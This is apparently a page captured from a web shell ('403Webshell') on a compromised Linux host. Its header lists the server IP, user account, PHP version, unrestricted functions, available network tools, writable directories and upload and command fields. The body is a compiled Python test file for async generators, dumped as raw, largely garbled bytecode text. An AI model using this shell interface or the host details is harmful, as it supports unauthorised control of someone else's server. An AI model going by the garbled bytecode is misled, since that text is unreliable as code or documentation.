403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_asyncgen.cpython-36.pyc
3

�w2_Hu�@s�ddlZddlZddlZddlZddlmZddlmZed�ZGdd�de�Z	ej
dd�d	d
��Zdd�Zd
d�Z
Gdd�dej�ZGdd�dej�ZGdd�dej�Zedkr�ej�dS)�N)�mock)�
import_module�asyncioc@seZdZdS)�AwaitExceptionN)�__name__�
__module__�__qualname__�r	r	�7/opt/alt/python36/lib64/python3.6/test/test_asyncgen.pyrsrF)�throwccs|rdVndVdS)Nr�result)r)rr	)rr	r	r
�	awaitablesr
cCsdd}xZy"|rd}|jt�}n
|jd�}Wn&tk
rN}z
|jdSd}~XnX|dkrd}qWdS)NFrrT)r)rr�send�
StopIteration�args)�coro�exc�fut�exr	r	r
�run_until_completesrcs�fdd�}t|��S)Nc�sBg}x8�2dHy3dH}Wn
tk
s2X|j|�qYW|S)N)�StopAsyncIteration�append)�res�i)�genr	r
�iterate)s"zto_list.<locals>.iterate)r)rrr	)rr
�to_list(src@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�AsyncGenSyntaxTestcCs,d}|jtd��t|ii�WdQRXdS)NzJasync def foo():
            await abc
            yield from 123
        zyield from.*inside async)�assertRaisesRegex�SyntaxError�exec)�self�coder	r	r
�test_async_gen_syntax_014sz+AsyncGenSyntaxTest.test_async_gen_syntax_01cCs,d}|jtd��t|ii�WdQRXdS)Nz4async def foo():
            yield from 123
        zyield from.*inside async)rrr )r!r"r	r	r
�test_async_gen_syntax_02=sz+AsyncGenSyntaxTest.test_async_gen_syntax_02cCs,d}|jtd��t|ii�WdQRXdS)NzXasync def foo():
            await abc
            yield
            return 123
        zreturn.*value.*async gen)rrr )r!r"r	r	r
�test_async_gen_syntax_03Esz+AsyncGenSyntaxTest.test_async_gen_syntax_03cCs,d}|jtd��t|ii�WdQRXdS)NzBasync def foo():
            yield
            return 123
        zreturn.*value.*async gen)rrr )r!r"r	r	r
�test_async_gen_syntax_04Osz+AsyncGenSyntaxTest.test_async_gen_syntax_04cCs,d}|jtd��t|ii�WdQRXdS)NzWasync def foo():
            if 0:
                yield
            return 12
        zreturn.*value.*async gen)rrr )r!r"r	r	r
�test_async_gen_syntax_05Xsz+AsyncGenSyntaxTest.test_async_gen_syntax_05N)rrrr#r$r%r&r'r	r	r	r
r2s
	
	rc@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�AsyncGenTestcCs8dd�}dd�}dd�}||�}||�}|j||�|S)NcSstg}xjy|j|j��Wqtk
r8|jd�PYqtk
rj}z|jtt|���WYdd}~XqXqW|S)N�STOP)r�__next__r�	Exception�str�type)�grrr	r	r
�sync_iteratefs
(z5AsyncGenTest.compare_generators.<locals>.sync_iteratecSs�g}x�|j�}y�x�y|j�Wqtk
rf}z,|jrJ|j|jd�Pn|jd�PWYdd}~Xqtk
rz�Yqtk
r�}z|jtt|���PWYdd}~XqXqWWqtk
r�|jd�PYqXqW|S)NrzEMPTY StopIterationr))	�	__anext__r*rrrrr+r,r-)r.rZanrr	r	r
�
async_iteraters,

z6AsyncGenTest.compare_generators.<locals>.async_iteratecSs�g}x�y|j�j�Wqtk
r6|jd�PYqtk
rz}z*|jr^|j|jd�n|jd�PWYdd}~Xqtk
r�}z|jtt|���WYdd}~XqXqW|S)Nr)rzEMPTY StopIteration)	r0r*rrrrr+r,r-)r.rrr	r	r
r1�s

()�assertEqual)r!�sync_gen�	async_genr/r1Zsync_gen_resultZasync_gen_resultr	r	r
�compare_generatorseszAsyncGenTest.compare_generatorscs(�fdd�}�jt|��dddg�dS)NcsFt�IdHdV}�j|d�t�IdHdVt�IdHdVdS)N�{i�i)r
ZassertIs)�a)r!r	r
r�sz5AsyncGenTest.test_async_gen_iteration_01.<locals>.genr6i�i)r2r)r!rr	)r!r
�test_async_gen_iteration_01�s	z(AsyncGenTest.test_async_gen_iteration_01cCs�dd�}|�}|j�}|j|j�j�d�y|j�j�Wn4tk
rn}z|j|jdd�WYdd}~XnX|jd�|j|j�j�d	�y|j�j�Wn.tk
r�}z|j|j�WYdd}~XnX|jd�dS)
NcSs"t�IdHdVt�IdHdS)Nr6)r
r	r	r	r
r�sz5AsyncGenTest.test_async_gen_iteration_02.<locals>.genrrr6zStopIteration was not raisedz!StopAsyncIteration was not raised)r)r)	�	__aiter__r2r0r*rr�failr�assertFalse)r!rr.�airr	r	r
�test_async_gen_iteration_02�s$
z(AsyncGenTest.test_async_gen_iteration_02c	Cs,dd�}|jt��t|��WdQRXdS)NcSs,t�IdHdVtdd�IdHdVdS)Nr6T)ri�)r
r	r	r	r
r�sz5AsyncGenTest.test_async_gen_exception_03.<locals>.gen)�assertRaisesrr)r!rr	r	r
�test_async_gen_exception_03�sz(AsyncGenTest.test_async_gen_exception_03cCs�dd�}|�}|j�}|j|j�j�d�y|j�j�Wn4tk
rn}z|j|jdd�WYdd}~XnX|jd�|jt��|j�j�WdQRXdS)NcSst�IdHdVdddS)Nr6�r)r
r	r	r	r
r�sz5AsyncGenTest.test_async_gen_exception_04.<locals>.genrrr6zStopIteration was not raised)r)	r9r2r0r*rrr:r>�ZeroDivisionError)r!rr.r<rr	r	r
�test_async_gen_exception_04�s$
z(AsyncGenTest.test_async_gen_exception_04c	Cs.dd�}|jtd��t|��WdQRXdS)NcSsdVt�dS)Nr6)rr	r	r	r
r�sz5AsyncGenTest.test_async_gen_exception_05.<locals>.genz#async generator.*StopAsyncIteration)r�RuntimeErrorr)r!rr	r	r
�test_async_gen_exception_05�sz(AsyncGenTest.test_async_gen_exception_05c	Cs.dd�}|jtd��t|��WdQRXdS)NcSsdVt�dS)Nr6)rr	r	r	r
r�sz5AsyncGenTest.test_async_gen_exception_06.<locals>.genzasync generator.*StopIteration)rrCr)r!rr	r	r
�test_async_gen_exception_06�sz(AsyncGenTest.test_async_gen_exception_06cCs$dd�}dd�}|j|�|��dS)Nc
ss,zdVddWddVdVXdVdS)Nr@r���dr	r	r	r	r
r3�sz:AsyncGenTest.test_async_gen_exception_07.<locals>.sync_genc
Ss,zdVddWddVdVXdVdS)Nr@rrFrGrHr	r	r	r	r
r4sz;AsyncGenTest.test_async_gen_exception_07.<locals>.async_gen)r5)r!r3r4r	r	r
�test_async_gen_exception_07�s

z(AsyncGenTest.test_async_gen_exception_07cCs$dd�}dd�}|j|�|��dS)Ncss,z
dVWddVdddVXdVdS)Nr@rFrrGrHr	r	r	r	r
r3s
z:AsyncGenTest.test_async_gen_exception_08.<locals>.sync_gencSsDzdVt�IdHWdt�IdHdVdddVXdVdS)Nr@rFrrGrH)r
r	r	r	r
r4sz;AsyncGenTest.test_async_gen_exception_08.<locals>.async_gen)r5)r!r3r4r	r	r
�test_async_gen_exception_08s
z(AsyncGenTest.test_async_gen_exception_08cCs$dd�}dd�}|j|�|��dS)Nc
ss,zdVddWddVdVXdVdS)Nr@rrFrGrHr	r	r	r	r
r3)sz:AsyncGenTest.test_async_gen_exception_09.<locals>.sync_gencSsDzt�IdHdVddWddVt�IdHdVXdVdS)Nr@rrFrGrH)r
r	r	r	r
r43sz;AsyncGenTest.test_async_gen_exception_09.<locals>.async_gen)r5)r!r3r4r	r	r
�test_async_gen_exception_09(s
z(AsyncGenTest.test_async_gen_exception_09c	Cs4dd�}|jtd��|�j�jd�WdQRXdS)NcSs
dVdS)Nr6r	r	r	r	r
rBsz5AsyncGenTest.test_async_gen_exception_10.<locals>.genz!non-None value .* async generatorrH)r�	TypeErrorr0r)r!rr	r	r
�test_async_gen_exception_10Asz(AsyncGenTest.test_async_gen_exception_10cs<dd���fdd�}dd���fdd�}|j|�|��dS)	NcssdVdVdS)N�
�r	r	r	r	r
r3Isz:AsyncGenTest.test_async_gen_exception_11.<locals>.sync_genc3sLdV��}|jd�y|jt��Wntk
r@dVYnXdVdS)Nr@rFrG)rr�
GeneratorExit)�sg)r3r	r
�sync_gen_wrapperMs
zBAsyncGenTest.test_async_gen_exception_11.<locals>.sync_gen_wrappercSsdVdVdS)NrNrOr	r	r	r	r
r4Wsz;AsyncGenTest.test_async_gen_exception_11.<locals>.async_gencsXdV��}|jd�IdHy|jt��IdHWntk
rLdVYnXdVdS)Nr@rFrG)�asend�athrowrP)Zasg)r4r	r
�async_gen_wrapper[szCAsyncGenTest.test_async_gen_exception_11.<locals>.async_gen_wrapper)r5)r!rRrUr	)r4r3r
�test_async_gen_exception_11Hs


z(AsyncGenTest.test_async_gen_exception_11cCs�dd�}|�}|j|jd�d|_|j|jd�|jd|j�d|_|j|jd�|j|j�|j|jtj	�|j
|j�|j|jtj
�|jtj|j���dS)NcSs
dVdS)Nr6r	r	r	r	r
rhsz/AsyncGenTest.test_async_gen_api_01.<locals>.genrZ123z.gen)r2r�assertInrZassertIsNone�ag_await�assertIsInstance�ag_frame�types�	FrameTyper;�
ag_running�ag_code�CodeTypeZ
assertTrue�inspectZisawaitable�aclose)r!rr.r	r	r
�test_async_gen_api_01gsz"AsyncGenTest.test_async_gen_api_01N)rrrr5r8r=r?rBrDrErIrJrKrMrVrbr	r	r	r
r(cs=
		r(c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7S)8�AsyncGenAsyncioTestcCstj�|_tjd�dS)N)rZnew_event_loop�loopZset_event_loop)r!r	r	r
�setUps
zAsyncGenAsyncioTest.setUpcCs|jj�d|_dS)N)rd�close)r!r	r	r
�tearDown�s
zAsyncGenAsyncioTest.tearDownc�sBg}x8|2dHy3dH}Wn
tk
s2X|j|�qYW|S)N)rr)r!rrrr	r	r
r�s"zAsyncGenAsyncioTest.to_listcs4�fdd�}�jj�j|���}�j|ddg�dS)Ncs<dVtjd�jd�IdHdVtjd�jd�IdHdS)Nr@g{�G�z�?)rdrFrG)r�sleeprdr	)r!r	r
r�sz:AsyncGenAsyncioTest.test_async_gen_asyncio_01.<locals>.genr@rF)rdrrr2)r!rrr	)r!r
�test_async_gen_asyncio_01�sz-AsyncGenAsyncioTest.test_async_gen_asyncio_01c
s:�fdd�}�jt���jj�j|���WdQRXdS)Ncs4dVtjd�jd�IdHdVdddVdS)Nr@g{�G�z�?)rdrFrrG)rrhrdr	)r!r	r
r�s
z:AsyncGenAsyncioTest.test_async_gen_asyncio_02.<locals>.gen)r>rArdrr)r!rr	)r!r
�test_async_gen_asyncio_02�sz-AsyncGenAsyncioTest.test_async_gen_asyncio_02cs>|j�G�fdd�d�}�j|j|���}|j|ddg�dS)NcseZdZ�fdd�ZdS)z:AsyncGenAsyncioTest.test_async_gen_asyncio_03.<locals>.Gencs$dVtjd�d�IdHdVdS)Nr@g{�G�z�?)rdrF)rrh)r!)rdr	r
r9�szDAsyncGenAsyncioTest.test_async_gen_asyncio_03.<locals>.Gen.__aiter__N)rrrr9r	)rdr	r
�Gen�srkr@rF)rdrrr2)r!rkrr	)rdr
�test_async_gen_asyncio_03�sz-AsyncGenAsyncioTest.test_async_gen_asyncio_03csH�fdd����fdd�}��fdd�}�jj|���jj|��dS)NcshdVtjd�jd�IdHydVdVWntk
rFdVYnXtjd�jd�IdHdVdS)Nr@g{�G�z�?)rdrFrGi��)rrhrdrAr	)r!r	r
�foo�s
z@AsyncGenAsyncioTest.test_async_gen_asyncio_anext_04.<locals>.fooc�s���j�}�j|j�IdHd��j|j�IdHd��j|j�IdHd��j|j�IdHd��jt��|j�IdHWdQRX�jt��|j�IdHWdQRXdS)Nr@rFrGrm)r9r2r0r>r)�it)rnr!r	r
�run1�s
zAAsyncGenAsyncioTest.test_async_gen_asyncio_anext_04.<locals>.run1c�s���j�}�j|j�IdHd��j|j�IdHd�y|j�jt�Wn4tk
r|}z�j|jdd�WYdd}~XnX�jd��j|j�IdHd��jt	��|j�IdHWdQRXdS)Nr@rFri�zStopIteration was not raisedrm)
r9r2r0rrArrr:r>r)ror)rnr!r	r
�run2�s
$
zAAsyncGenAsyncioTest.test_async_gen_asyncio_anext_04.<locals>.run2)rdr)r!rprqr	)rnr!r
�test_async_gen_asyncio_anext_04�s
z3AsyncGenAsyncioTest.test_async_gen_asyncio_anext_04cs(dd����fdd�}�jj|��dS)NcSsdV}|V}|dVdS)Nr@rHr	)�vr	r	r
rn�sz@AsyncGenAsyncioTest.test_async_gen_asyncio_anext_05.<locals>.fooc3�s(��j�}y|j�jd�Wn4tk
rP}z�j|jdd�WYdd}~XnX�jd�y|j�jd�Wn4tk
r�}z�j|jdd�WYdd}~XnX�jd�y|j�jd�Wn4tk
r�}z�j|jdd�WYdd}~XnX�jd��jt��|j�IdHWdQRXdS)Nrr@zStopIteration was not raisedrN�i�)	r9r0rrr2rr:r>r)ror)rnr!r	r
�run�s$
$
$
$
z@AsyncGenAsyncioTest.test_async_gen_asyncio_anext_05.<locals>.run)rdr)r!rur	)rnr!r
�test_async_gen_asyncio_anext_05�sz3AsyncGenAsyncioTest.test_async_gen_asyncio_anext_05c
svd�dd�}|�}|jd��jt��|jd�WdQRX�fdd�����fdd�}�jj|���j�d�dS)	Nrc	ssy
dVWnYnXdS)Nr	r	r	r	r
rns
z@AsyncGenAsyncioTest.test_async_gen_asyncio_anext_06.<locals>.fooc	s y
dVWnYnXd�dS)Nr@r	r	)�DONEr	r
r
s

z@AsyncGenAsyncioTest.test_async_gen_asyncio_anext_06.<locals>.genc	�sH��}|jd�IdH�jt��|jd�IdHWdQRX�d7�dS)NrN)rSr>r)r.)rwrr!r	r
rus
z@AsyncGenAsyncioTest.test_async_gen_asyncio_anext_06.<locals>.run�)rr>rrdrr2)r!rnr.rur	)rwrr!r
�test_async_gen_asyncio_anext_06�s
z3AsyncGenAsyncioTest.test_async_gen_asyncio_anext_06cs(dd����fdd�}�jj|��dS)NcSs*y
dVWntk
r$dVYnXdS)Nr@rF)r@)rF)rAr	r	r	r
rn!s
zCAsyncGenAsyncioTest.test_async_gen_asyncio_anext_tuple.<locals>.fooc�s���j�}�j|j�IdHd��jt��}|j�jt�WdQRX�j|jjdd��jt	��|j�IdHWdQRXdS)Nr@rrF)r@)rF)
r9r2r0r>rrrA�	exceptionrr)ro�cm)rnr!r	r
ru's
zCAsyncGenAsyncioTest.test_async_gen_asyncio_anext_tuple.<locals>.run)rdr)r!rur	)rnr!r
�"test_async_gen_asyncio_anext_tuple s
z6AsyncGenAsyncioTest.test_async_gen_asyncio_anext_tuplecs(dd����fdd�}�jj|��dS)NcSs2ytd�VWntk
r,td�VYnXdS)Nr@rG)rrAr	r	r	r
rn4szKAsyncGenAsyncioTest.test_async_gen_asyncio_anext_stopiteration.<locals>.fooc�s���j�}|j�IdH}�j|t��j|jd��jt��}|j�jt�WdQRX|j	j
d}�j|t��j|jd��jt��|j�IdHWdQRXdS)Nr@rrG)r9r0rYrr2�valuer>rrArzrr)rorsr{)rnr!r	r
ru:s
zKAsyncGenAsyncioTest.test_async_gen_asyncio_anext_stopiteration.<locals>.run)rdr)r!rur	)rnr!r
�*test_async_gen_asyncio_anext_stopiteration3sz>AsyncGenAsyncioTest.test_async_gen_asyncio_anext_stopiterationc	sB�fdd���fdd�}�jtd���jj|��WdQRXdS)Nc
s6zdVddWdtjd�jd�IdHdVXdS)Nr@rg{�G�z�?)rdrt)rrhrdr	)r!r	r
rnKs
zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_06.<locals>.fooc�s.��}|j�}|j�IdH|j�IdHdS)N)r9r0ra)rro)rnr	r
ruSszAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_06.<locals>.runz%async generator ignored GeneratorExit)rrCrdr)r!rur	)rnr!r
� test_async_gen_asyncio_aclose_06Jsz4AsyncGenAsyncioTest.test_async_gen_asyncio_aclose_06cs<d���fdd���fdd�}�jj|���j�d�dS)Nrc
sVzdVddWdtjd�jd�IdHtjd�jd�IdH�d7�X�d7�dS)Nr@rg{�G�z�?)rdi�)rrhrdr	)rwr!r	r
rnas
zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_07.<locals>.fooc�s.��}|j�}|j�IdH|j�IdHdS)N)r9r0ra)rro)rnr	r
rulszAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_07.<locals>.runr@)rdrr2)r!rur	)rwrnr!r
� test_async_gen_asyncio_aclose_07^s
z4AsyncGenAsyncioTest.test_async_gen_asyncio_aclose_07csvd�tj�jd�����fdd����fdd�}�jj|��}�j�d��j�|j��jjtjd�jd��dS)	Nr)rdc
sfz"dV�IdH�d7�dVWdtjd�jd�IdHtjd�jd�IdH�d7�X�d7�dS)Nr@i�rFg{�G�z�?)rd)rrhrdr	)rwrr!r	r
rnzs


zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_08.<locals>.fooc�s\��}|j�}�j|j�IdHd��jj|j��}tjd�jd�IdH|j�IdH|S)Nr@g{�G�z�?)rd)r9r2r0rd�create_taskrrhra)rro�t)rnr!r	r
ru�szAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_08.<locals>.runr@g{�G�z�?)rZFuturerdrr2�cancelrh)r!rur�r	)rwrnrr!r
� test_async_gen_asyncio_aclose_08us
	z4AsyncGenAsyncioTest.test_async_gen_asyncio_aclose_08cs>d���fdd����fdd�}�jj|���j�d�dS)Nrc
sHzx
dVqWWdtjd�jd�IdHtjd�jd�IdHd�XdS)Nr@g{�G�z�?)rd)rrhrdr	)rwr!r	r
r�szDAsyncGenAsyncioTest.test_async_gen_asyncio_gc_aclose_09.<locals>.genc�s>��}|j�IdH|j�IdH~tjd�jd�IdHdS)Ng�������?)rd)r0rrhrd)r.)rr!r	r
ru�s
zDAsyncGenAsyncioTest.test_async_gen_asyncio_gc_aclose_09.<locals>.runr@)rdrr2)r!rur	)rwrr!r
�#test_async_gen_asyncio_gc_aclose_09�s

z7AsyncGenAsyncioTest.test_async_gen_asyncio_gc_aclose_09cs\d�dd�}|�}|jd�|j��fdd����fdd�}|jj|��|j�d�dS)	Nrc	ssy
dVWnYnXdS)Nr	r	r	r	r
rn�s
zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_10.<locals>.fooc	s y
dVWnYnXd�dS)Nr@r	r	)rwr	r
r�s

zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_10.<locals>.genc�s0��}|jd�IdH|j�IdH�d7�dS)NrN)rSra)r.)rwrr	r
ru�szAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_10.<locals>.runrx)rrfrdrr2)r!rnr.rur	)rwrr
� test_async_gen_asyncio_aclose_10�s
z4AsyncGenAsyncioTest.test_async_gen_asyncio_aclose_10c
svd�dd�}|�}|jd��jtd��|j�WdQRX�fdd�����fdd�}�jj|���j�d	�dS)
Nrc	ss"y
dVWnYnXdVdS)Nr	r	r	r	r
rn�s

zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_11.<locals>.foozignored GeneratorExitc	s*y
dVWnYnXdV�d7�dS)Nr@r	r	)rwr	r
r�s
zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_11.<locals>.genc	�sH��}|jd�IdH�jtd��|j�IdHWdQRX�d7�dS)Nzignored GeneratorExitrN)rSrrCra)r.)rwrr!r	r
ru�s
zAAsyncGenAsyncioTest.test_async_gen_asyncio_aclose_11.<locals>.runrN)rrrCrfrdrr2)r!rnr.rur	)rwrr!r
� test_async_gen_asyncio_aclose_11�s
	z4AsyncGenAsyncioTest.test_async_gen_asyncio_aclose_11csxd�dd�}|�}|jd�}�j|d�|jd�}�j|d���fdd����fd	d
�}�jj|���j�d�dS)NrcssdV}|dVdS)Nr@rFr	)rsr	r	r
�sgen�szAAsyncGenAsyncioTest.test_async_gen_asyncio_asend_01.<locals>.sgenr@rH��c
s�zVtjd�jd�IdHdV}tjd�jd�IdH|dVtjd�jd�IdHdStjd�jd�IdHtjd�jd�IdHd�XdS)Ng{�G�z�?)rdr@rF)rrhrd)rs)rwr!r	r
rs
z@AsyncGenAsyncioTest.test_async_gen_asyncio_asend_01.<locals>.genc	�sh��}|jd�IdH}�j|d�|jd�IdH}�j|d��jt��|jd�IdHWdQRXdS)Nr@rHr�)rSr2r>r)r.rs)rr!r	r
rusz@AsyncGenAsyncioTest.test_async_gen_asyncio_asend_01.<locals>.run)rr2rdr)r!r�rQrsrur	)rwrr!r
�test_async_gen_asyncio_asend_01�s

z3AsyncGenAsyncioTest.test_async_gen_asyncio_asend_01c
sbd��fdd�����fdd����fdd�}�jt���jj|��WdQRX�j�d�dS)	Nrc�s"tj|�jd�IdHdddS)N)rdr@r)rrhrd)�delay)r!r	r
�
sleep_n_crash#szJAsyncGenAsyncioTest.test_async_gen_asyncio_asend_02.<locals>.sleep_n_crashc
sxz@tjd�jd�IdHdV}�d�IdH�d7�|dVWdtjd�jd�IdHtjd�jd�IdHd�XdS)Ng{�G�z�?)rdr@i�rF)rrhrd)rs)rwr!r�r	r
r'sz@AsyncGenAsyncioTest.test_async_gen_asyncio_asend_02.<locals>.genc�s6��}|jd�IdH}�j|d�|jd�IdHdS)Nr@rH)rSr2)r.rs)rr!r	r
ru4sz@AsyncGenAsyncioTest.test_async_gen_asyncio_asend_02.<locals>.runr@)r>rArdrr2)r!rur	)rwrr!r�r
�test_async_gen_asyncio_asend_02 s
z3AsyncGenAsyncioTest.test_async_gen_asyncio_asend_02c
sdd��fdd�����fdd����fdd�}�jtj���jj|��WdQRX�j�d�dS)	Nrc�s@tjtj|�jd��jd���jj|d�fdd���IdHS)N)rdrFcs�j�S)N)r�r	)rr	r
�<lambda>Fsz\AsyncGenAsyncioTest.test_async_gen_asyncio_asend_03.<locals>.sleep_n_crash.<locals>.<lambda>)r�
ensure_futurerhrd�
call_later)r�)r!)rr
r�Cs
zJAsyncGenAsyncioTest.test_async_gen_asyncio_asend_03.<locals>.sleep_n_crashc
sxz@tjd�jd�IdHdV}�d�IdH�d7�|dVWdtjd�jd�IdHtjd�jd�IdHd�XdS)Ng{�G�z�?)rdr@i�rF)rrhrd)rs)rwr!r�r	r
rIsz@AsyncGenAsyncioTest.test_async_gen_asyncio_asend_03.<locals>.genc�s6��}|jd�IdH}�j|d�|jd�IdHdS)Nr@rH)rSr2)r.rs)rr!r	r
ruVsz@AsyncGenAsyncioTest.test_async_gen_asyncio_asend_03.<locals>.runr@)r>r�CancelledErrorrdrr2)r!rur	)rwrr!r�r
�test_async_gen_asyncio_asend_03@s
z3AsyncGenAsyncioTest.test_async_gen_asyncio_asend_03c
s�d�Gdd�dt���fdd�}|�}|jd�}�j|d�|j��}�j|d��jt��|jd�WdQRX���fdd	�����fd
d�}�jj|���j�d�dS)Nrc@seZdZdS)zCAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_01.<locals>.FooErN)rrrr	r	r	r
�FooEresr�c3s2y
dV}Wn�k
r"d}YnX|dVdS)Nr@i�rFr	)rs)r�r	r
r�is


zBAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_01.<locals>.sgenr@i�cs�zttjd�jd�IdHy
dV}Wn.�k
rPd}tjd�jd�IdHYnX|dVtjd�jd�IdHWdtjd�jd�IdHtjd�jd�IdHd�XdS)Ng{�G�z�?)rdr@i�rF)rrhrd)rs)rwr�r!r	r
rws

zAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_01.<locals>.genc	�sh��}|jd�IdH}�j|d�|j��IdH}�j|d��jt��|jd�IdHWdQRXdS)Nr@i�)rSr2rTr>r)r.rs)r�rr!r	r
ru�szAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_01.<locals>.run)r+rr2rr>rrdr)r!r�rQrsrur	)rwr�rr!r
� test_async_gen_asyncio_athrow_01bs

z4AsyncGenAsyncioTest.test_async_gen_asyncio_athrow_01c
szd�Gdd�dt���fdd������fdd������fdd	�}�jtj���jj|��WdQRX�j�d
�dS)Nrc@seZdZdS)zCAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_02.<locals>.FooErN)rrrr	r	r	r
r��sr�c�s@tjtj|�jd��jd���jj|d�fdd���IdHS)N)rdrFcs�j�S)N)r�r	)rr	r
r��sz]AsyncGenAsyncioTest.test_async_gen_asyncio_athrow_02.<locals>.sleep_n_crash.<locals>.<lambda>)rr�rhrdr�)r�)r!)rr
r��s
zKAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_02.<locals>.sleep_n_crashcs�zhtjd�jd�IdHy
dV}Wn"�k
rD�d�IdHYnX|dVtjd�jd�IdHWdtjd�jd�IdHtjd�jd�IdHd�XdS)Ng{�G�z�?)rdr@rF)rrhrd)rs)rwr�r!r�r	r
r�s

zAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_02.<locals>.genc�sj��}|jd�IdH}�j|d�y|j��IdHWn$tjk
rZ�j�d��YnX�jd�dS)Nr@zCancelledError was not raised)rSr2rTrr�r:)r.rs)rwr�rr!r	r
ru�szAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_02.<locals>.runr@)r+r>rr�rdrr2)r!rur	)rwr�rr!r�r
� test_async_gen_asyncio_athrow_02�sz4AsyncGenAsyncioTest.test_async_gen_asyncio_athrow_02c
svd�dd�}|�}|jd��jt��|jt�WdQRX�fdd�����fdd�}�jj|���j�d�dS)	Nrc	ssy
dVWnYnXdS)Nr	r	r	r	r
rn�s
zAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_03.<locals>.fooc	s y
dVWnYnXd�dS)Nr@r	r	)rwr	r
r�s

zAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_03.<locals>.genc	�sH��}|jd�IdH�jt��|jt�IdHWdQRX�d7�dS)NrN)rSr>rrT�
ValueError)r.)rwrr!r	r
ru�s
zAAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_03.<locals>.runrx)rr>rrr�rdrr2)r!rnr.rur	)rwrr!r
� test_async_gen_asyncio_athrow_03�s
z4AsyncGenAsyncioTest.test_async_gen_asyncio_athrow_03cs(dd����fdd�}�jj|��dS)NcSs*y
dVWntk
r$dVYnXdS)Nr@rF)rF)rAr	r	r	r
r�s
zDAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_tuple.<locals>.genc	�sh��}|jd�IdH}�j|d�|jt�IdH}�j|d��jt��|jd�IdHWdQRXdS)Nr@rF)rF)rSr2rTrAr>r)r.rs)rr!r	r
ru�szDAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_tuple.<locals>.run)rdr)r!rur	)rr!r
�#test_async_gen_asyncio_athrow_tuple�s	z7AsyncGenAsyncioTest.test_async_gen_asyncio_athrow_tuplecs(dd����fdd�}�jj|��dS)NcSs.y
dVWntk
r(td�VYnXdS)Nr@rF)rArr	r	r	r
r�s
zLAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_stopiteration.<locals>.genc	�sv��}|jd�IdH}�j|d�|jt�IdH}�j|t��j|jd��jt��|jd�IdHWdQRXdS)Nr@rF)	rSr2rTrArYrr}r>r)r.rs)rr!r	r
ruszLAsyncGenAsyncioTest.test_async_gen_asyncio_athrow_stopiteration.<locals>.run)rdr)r!rur	)rr!r
�+test_async_gen_asyncio_athrow_stopiteration�s
z?AsyncGenAsyncioTest.test_async_gen_asyncio_athrow_stopiterationcs�d���fdd���fdd�}�jj|��}�jj|��}�jjtjd�jd���jj�jj���j�d�|j�|j��jjtjd�jd��dS)	Nrc
sFz tj|�jd�IdHdVWdtjd�jd�IdH�d7�XdS)N)rdr@r)rrhrd)�timeout)�	finalizedr!r	r
�waiters

zFAsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_01.<locals>.waiterc�s8x2�d�2dHy3dH}Wqtk
s(XqYWdS)Nr@)r)�_)r�r	r
�waits&zDAsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_01.<locals>.waitg�������?)rdrF)rdr�rrrh�shutdown_asyncgensr2r�)r!r�Zt1Zt2r	)r�r!r�r
�"test_async_gen_asyncio_shutdown_01
s	z6AsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_01cs�d���fdd�}�fdd���fdd�}�jj|��}�jjtjd�jd	���jj|��jj�jj���j�d
�|j��jjtjd�jd	��dS)Nrcs(�jd|�d}||dkr$�d7�dS)NZasyncgenz0an error occurred during closing of asynchronous�messager@)rW)rd�contextZexpected)�loggedr!r	r
�logger-szFAsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_02.<locals>.loggercs0z tj|�jd�IdHdVWdddXdS)N)rdr@r)rrhrd)r�)r!r	r
r�4s
zFAsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_02.<locals>.waiterc�s8x2�d�2dHy3dH}Wqtk
s(XqYWdS)Nr@)r)r�)r�r	r
r�;s&zDAsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_02.<locals>.waitg�������?)rdr@)	rdr�rrrhZset_exception_handlerr�r2r�)r!r�r�r�r	)r�r!r�r
